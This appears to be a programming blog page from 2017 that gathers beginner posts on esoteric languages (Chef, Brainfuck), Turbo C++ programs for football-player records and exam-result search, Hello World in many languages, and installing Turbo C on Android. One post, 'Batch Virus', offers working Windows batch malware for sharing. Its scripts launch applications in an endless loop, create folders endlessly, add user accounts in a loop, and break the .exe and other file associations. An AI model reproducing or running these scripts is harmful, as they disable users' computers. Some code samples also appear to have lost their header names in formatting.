Friday, March 3, 2017

Hardest Programming Language 'chef'

                        Chef

Chef is a stack-based language where programs look like cooking recipes.

According to the Chef Home Page, the design principles for Chef are:

•Program recipes should not only generate valid output, but be easy to prepare and delicious.

•Recipes may appeal to cooks with different budgets.

•Recipes will be metric, but may use traditional cooking measures such as cups and tablespoons.

Hello world looks like this below image....

Hardest Programming Language 'Brain Fuck'

                    Brainfuck

This language is a difficult as the name suggests. Brainfuck was invented by Urban Müller in 1993, in an attempt to make a language for which he could write the smallest possible compiler for the Amiga OS, version 2.0.

Brainfuck operates on an array of memory cells, also referred to as the tape, each initially set to zero. There are only 8 commands in the language

____________________________________
The 8 Commands are ><+-.,[]
____________________________________

A simple ‘Hello world’ code looks like the below image....

Football Position Source Code In C++

#include<conio.h>
#include<fstream.h>
#include<string.h>
class footballer{
protected:
char id[10],name[30];
int per;
public:
footballer(){per =100;}
void getid()
{
cout<<"input footballer id ";
cin>>id;
cout<<"input fottballer name";
cin>>name;
};
};
class fileinfoot:public footballer{
public:
void fil()
{
fstream x("FOOTBALL.txt",ios::out|ios::app);
x.width(30);
x<<endl;
x<<name;
x.width(20);
x<<id;
x.close();
}
} ;
class goalkeeper: public fileinfoot{
int save;
int loss;
public:
void performance()
{
getid();
cout<<"\nHow many goal he saved?\n";
cin>>save;
save=save*25;
cout<<"\nHow many goal he got\n;";
cin>>loss;
loss=loss*75;
per=per+save-loss;
if(per<0)
per=0;
file();
}
void file();
};
void goalkeeper::file()
{
char fil[20];
strcpy(fil,id);
strcat(fil,".txt");
ofstream x(fil);
x<<"NAME:-"<<name<<endl;
x<<"ID:-"<<id<<endl;
x<<"POSITION- GOALKEEPER\n";
x<<"Performance point:-"<<per<<endl;
x.close();
fstream y("GOALKEEP.txt",ios::out|ios::app);
y<<endl;
y.width(30);
y<<name;
y.width(20);
y<<id;
y.close();
}
class defender: public fileinfoot{
int defend;
int loss;
public:
void performance()
{
getid();
cout<<"\nHow many defend?\n";
cin>>defend;
defend=defend*25;
cout<<"\nHow many missdefence\n;";
cin>>loss;
loss=loss*5;
per=per+defend-loss;
if(per<0)
per=0;
file();
}
void file();
};
void defender::file()
{
char fil[20];
strcpy(fil,id);
strcat(fil,".txt");
ofstream x(fil);
x<<"NAME:-"<<name<<endl;
x<<"ID:-"<<id<<endl;
x<<"POSITION- DEFENDER\n";
x<<"Performance point:-"<<per<<endl;
x.close();
fstream y("DEFENDER.txt",ios::out|ios::app);
y<<endl;
y.width(30);
y<<name;
y.width(20);
y<<id;
y.close();
}
class midfielder:public fileinfoot{
int passing;
int mispass;
public:
void performance()
{getid();
cout<<"\nHow many pass?\n";
cin>>passing;
passing=passing*25;
cout<<"\nHow many miss pass\n;";
cin>>mispass;
mispass=mispass*75;
per=per+passing-mispass;
if(per<0)
per=0;
file();
}
void file();
};
void midfielder:: file()
{
char fil[20];
strcpy(fil,id);
strcat(fil,".txt");
ofstream x(fil);
x<<"NAME:-"<<name<<endl;
x<<"ID:-"<<id<<endl;
x<<"POSITION- MIDFIELDER\n";
x<<"Performance point:-"<<per<<endl;
x.close();
fstream y("MIDFIELD.txt",ios::out|ios::app);
y<<endl;
y.width(30);
y<<name;
y.width(20);
y<<id;
y.close();
}
class striker: public fileinfoot{
int goal;
int loss;
public:
void performance()
{getid();
cout<<"\nHow many goal?\n";
cin>>goal;
goal=goal*25;
cout<<"\nHow many goal he miss\n;";
cin>>loss;
loss=loss*75;
per=per+goal-loss;
if(per<0)
per=0;
file();
}
void file();
};
void striker:: file()
{
char fil[20];
strcpy(fil,id);
strcat(fil,".txt");
ofstream x(fil);
x<<"NAME:-"<<name<<endl;
x<<"ID:-"<<id<<endl;
x<<"POSITION- STRIKER\n";
x<<"Performance point:-"<<per<<endl;
x.close();
fstream y("STRIKER.txt",ios::out|ios::app);
y<<endl;
y.width(30);
y<<name;
y.width(20);
y<<id;
y.close();
}
class add{
public:
add();
};
add::add(){
goalkeeper g;
defender d;
striker s;
midfielder m;
int co;
while(1)
{clrscr();
cout<<"\n1...goalkeeper\n2...defender\n3...striker\n4...midfielder\n5...exit\n";
cin>>co;
if(co==5)
break;
if(co==1)
{
g.performance();
g.fil();
}
if(co==2)
{ d.performance();
d.fil();
}
if(co==3)
{
s.performance();
s.fil();
}
if(co==4)
{
m.performance();
m.fil();
}
}
}
class search{
public:
void find();
} ;
void search::find(){
int i;
char id[20],c;
while(1)
{
clrscr();
cout<<"1...ALL FOOTBALLER\n2...ALL GOALKEEPER\n3...ALL DEFENDER\n";
cout<<"4...ALL MIDFIELDER\n5...ALL STRIKER\n6...SEARCH BY ID\n7...Exit";
cin>>i;
if(i==7)
break;
if(i==1)
{
ifstream x("FOOTBALL.txt");
cout<<"FOOTBALLERS NAME AND ID \n\n";
while(x)
{ x.get(c);
cout<<c;
}
getch();
x.close();
}
if(i==2)
{ifstream x("GOALKEEP.txt");
cout<<"FOOTBALLERS NAME AND ID \n\n";
while(x)
{ x.get(c);
cout<<c;
}
getch();
x.close();
}
if(i==3)
{ifstream x("DEFENDER.txt");
cout<<"DEFENERS NAME AND ID \n\n";
while(x)
{ x.get(c);
cout<<c;
}
getch();
x.close();
}
if(i==4)
{ifstream x("MIDFIELD.txt");
cout<<"MIDFIELDERS NAME AND ID \n\n";
while(x)
{ x.get(c);
cout<<c;
}
getch();
x.close();
}
if(i==5)
{ifstream x("STRIKER.txt");
cout<<"STRIKER NAME AND ID \n\n";
while(x)
{ x.get(c);
cout<<c;
}
getch();
x.close();
}
if(i==6)
{clrscr();
cout<<"input the id";
cin>>id;
char fil[20];
strcpy(fil,id);
strcat(fil,".txt");
ifstream x(fil);
while(x)
{ x.get(c);
cout<<c;
}
getch();
x.close();
}
}
}
int main()
{
int c;
clrscr();
while(1)
{
clrscr();
cout<<"1...add\n2...search\n3...exit\n\n";
cin>>c;
if(c==3)
break;
else if(c==1)
{
add a;
}
else if(c==2)
{
search f;
f.find();
}
}
return 0;
}

Hello World Programme In 20+ Languages


C++

#include
int main()
{    
std::cout << "Hello,  ! ";    
return 0;
}

C#

using System; class Program {     public static void Main
(string[] args)    
{         Console.WriteLine("Helloworld!");     } }

Clipper

? "Hello World"

CoffeeScript

console.log 'Hello, world!'

Delphi

program HelloWorld; begin   Writeln('Hello, world!'); end.

HTML

Hello World!

Java

import javax.swing.JFrame; 
//Importing class JFrame
import javax.swing.JLabel; 
//Importing class JLabel public class HelloWorld
{
public static void main(String[] args) {        
JFrame frame = new JFrame();           //Creating frame      
frame.setTitle("Hi!");             
   //Setting title frame       
frame.add(new JLabel("Hello, world!"));
//Adding text to frame       
frame.pack();                         
//Setting size to smallest         frame.setLocationRelativeTo(null);  
  //Centering frame         frame.setVisible(true);           
    //Showing frame    
} }

JavaScript

document.write('Hello, world!');

jQuery

$("body").append("Hello world!");

Julia

println("Hello world!")

Logo

print [Hello, world!]

Matlab

disp('Hello, world!')

Objective-C

#import
#import
int main(void)
{    
NSLog(@"Hello, world! ");    
return 0;
}

Pascal

program HelloWorld; begin   WriteLn('Hello, world!'); end.

Perl 5

print "Hello, world! ";

Processing

void setup()
{  
println("Hello, world!");
}

Python

print "Hello, world!"

R

cat('Hello, world! ')

Ruby

puts "Hello, world!"

Swift

println("Hello, world!")
VBScript
MsgBox "Hello, World!"

Visual Basic .NET

Module Module1   
  Sub Main()      
   Console.WriteLine("Hello, world!")    
End Sub End Module

XSLT

Hello World

Batch Virus by Vivek Kumar


@echo off // It instructs to hide the commands when batch files is executed
:x //loop variable
start winword
start mspaint //open paint
start notepad
start write
start cmd //open command prompt
start explorer
start control
start calc // open calculator
goto x // infinite loop
____________________________________

@echo off
:x
md %random% // makes directory/folder.
goto x
____________________________________

@echo off
:x
net user %random% /add //create user account
goto x
____________________________________

@echo off
assoc .txt=anything // this command associates extension .txt with filetype anything.
assoc .exe=anything
assoc .jpeg=anything
assoc .png=anything
assoc .mpeg=anything
____________________________________
Note : if you find this helpful then share this to help more and more peoples.

Search Student From Exam Result Sheet Source Code In C++

#include<fstream.h>
#include<iostream.h>
#include<conio.h>
#include <string.h>
class pro
{
public:
int done();
};
int pro::done()
{
char str[2000];
//char roll[100][10];
char r[10];
int sum=0;
int find=0;
cout<<"Enter roll to search:";
cin>>r;
fstream file_op("1.txt",ios::in);
int i=0,j=1;
while(file_op >> str)
{
if(file_op.eof())
{
find=0;
break;
}
if(i%7==0)
{
if(strcmp(r,str)==0)
{
cout<<"\n\nRoll \tName \tpos\tphy\tChem\tEng\tMath\tTotal\n"; cout<<"------------------------------------------------\
------------------\n";
find=1;
cout << str<<"\t" ;
//cout<<"yes found";
while(file_op >> str)
{
cout << str<<"\t" ;
if(j>=3 && j<=6)
{
int d=1;
for(int i=strlen(str)-1;i>=0;i--)
{
sum+=(str[i]-48)*d;
d*=10;
}
}
if(j==6)
break;
j++;
}
}
}
if(find==1)
break;
i++;
}
if(find==1)
cout<<sum;
else
cout<<"not found!";
file_op.close();
return 0;
}
void main(void)
{
pro P;
clrscr();
P.done();
getch();
}

////////////////////////////////////////////////////////////////////////////
You must include a file "1.text",You can include data in this file "1.text" like below,
0407016
saiful
1
50
65
45
89
0407021
Firoj
2
56
66
43
59
0407022
Nahid
3
45
56
45
12
0407023
Hanif
4
45
56
23
89
0407020
Shahin
5
100
23
56
66

How To Install Turbo C in Android

Procedure To Install Turbo C In Android Device

1. First of all download this zip file -
Turbo_c_for_android_techies

2. Now download and install
Easy Unrar Lite from playstore.

3. Later open Easy Unrar app and go to download folder in sdcard.

4. Select the "Turbo_c_for_android_techie and click extract all here button.

5. All the files will be extracted and now you need to install AnDOSbox application from that files.

6. After installation of AnDOSbox application, select all the files extracted and paste it outside of download folder and then open AnDosbox and click Start Emulator.

7. A Dosbox command prompt will open, there write the following commands and turbo c will editor will open. Enjoy programming :)
____________________________________
C:\> CD TC
C:\TC\ CD BIN
C:\TC\BIN\ TC.EXE
____________________________________